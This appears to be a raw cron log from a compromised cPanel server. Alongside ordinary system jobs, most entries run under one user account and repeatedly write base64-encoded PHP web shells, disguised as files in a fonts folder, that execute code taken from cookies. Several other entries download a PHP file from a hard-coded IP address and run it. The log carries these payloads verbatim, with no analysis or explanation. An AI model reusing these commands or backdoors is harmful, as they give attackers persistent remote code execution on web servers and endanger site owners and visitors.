Aug 30 21:58:01 ip-184-168-122-23 CROND[15204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:59:01 ip-184-168-122-23 CROND[15300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:59:01 ip-184-168-122-23 CROND[15303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:59:01 ip-184-168-122-23 CROND[15302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:59:01 ip-184-168-122-23 CROND[15304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:00:01 ip-184-168-122-23 CROND[15470]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:00:01 ip-184-168-122-23 CROND[15472]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 22:00:01 ip-184-168-122-23 CROND[15476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:00:01 ip-184-168-122-23 CROND[15475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:00:01 ip-184-168-122-23 CROND[15473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:00:01 ip-184-168-122-23 CROND[15474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:00:01 ip-184-168-122-23 CROND[15477]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 22:00:01 ip-184-168-122-23 CROND[15478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:00:01 ip-184-168-122-23 CROND[15479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:01:02 ip-184-168-122-23 CROND[15575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:01:02 ip-184-168-122-23 CROND[15576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:01:02 ip-184-168-122-23 CROND[15578]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 22:01:02 ip-184-168-122-23 CROND[15579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:01:02 ip-184-168-122-23 CROND[15580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:01:02 ip-184-168-122-23 CROND[15577]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 22:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15577]: starting 0anacron
Aug 30 22:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15597]: finished 0anacron
Aug 30 22:02:01 ip-184-168-122-23 CROND[15672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:02:01 ip-184-168-122-23 CROND[15673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:02:01 ip-184-168-122-23 CROND[15675]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:02:01 ip-184-168-122-23 CROND[15677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:02:01 ip-184-168-122-23 CROND[15676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:03:01 ip-184-168-122-23 CROND[15771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:03:01 ip-184-168-122-23 CROND[15773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:03:01 ip-184-168-122-23 CROND[15775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:03:01 ip-184-168-122-23 CROND[15774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:04:01 ip-184-168-122-23 CROND[15853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:04:01 ip-184-168-122-23 CROND[15854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:04:01 ip-184-168-122-23 CROND[15857]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:04:01 ip-184-168-122-23 CROND[15856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:04:01 ip-184-168-122-23 CROND[15858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:05:01 ip-184-168-122-23 CROND[15946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:05:01 ip-184-168-122-23 CROND[15950]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 22:05:01 ip-184-168-122-23 CROND[15949]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:05:01 ip-184-168-122-23 CROND[15948]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:05:01 ip-184-168-122-23 CROND[15953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:05:01 ip-184-168-122-23 CROND[15954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:05:01 ip-184-168-122-23 CROND[15955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:06:01 ip-184-168-122-23 CROND[16050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:06:01 ip-184-168-122-23 CROND[16051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:06:01 ip-184-168-122-23 CROND[16053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:06:01 ip-184-168-122-23 CROND[16052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:06:01 ip-184-168-122-23 CROND[16054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:07:01 ip-184-168-122-23 CROND[16143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:07:01 ip-184-168-122-23 CROND[16142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:07:01 ip-184-168-122-23 CROND[16141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:07:01 ip-184-168-122-23 CROND[16144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:08:01 ip-184-168-122-23 CROND[16309]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:08:01 ip-184-168-122-23 CROND[16311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:08:01 ip-184-168-122-23 CROND[16313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:08:01 ip-184-168-122-23 CROND[16314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:08:01 ip-184-168-122-23 CROND[16312]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:09:01 ip-184-168-122-23 CROND[16394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:09:01 ip-184-168-122-23 CROND[16396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:09:01 ip-184-168-122-23 CROND[16397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:09:01 ip-184-168-122-23 CROND[16398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:09:01 ip-184-168-122-23 CROND[16401]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 22:10:01 ip-184-168-122-23 CROND[16488]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 22:10:01 ip-184-168-122-23 CROND[16493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
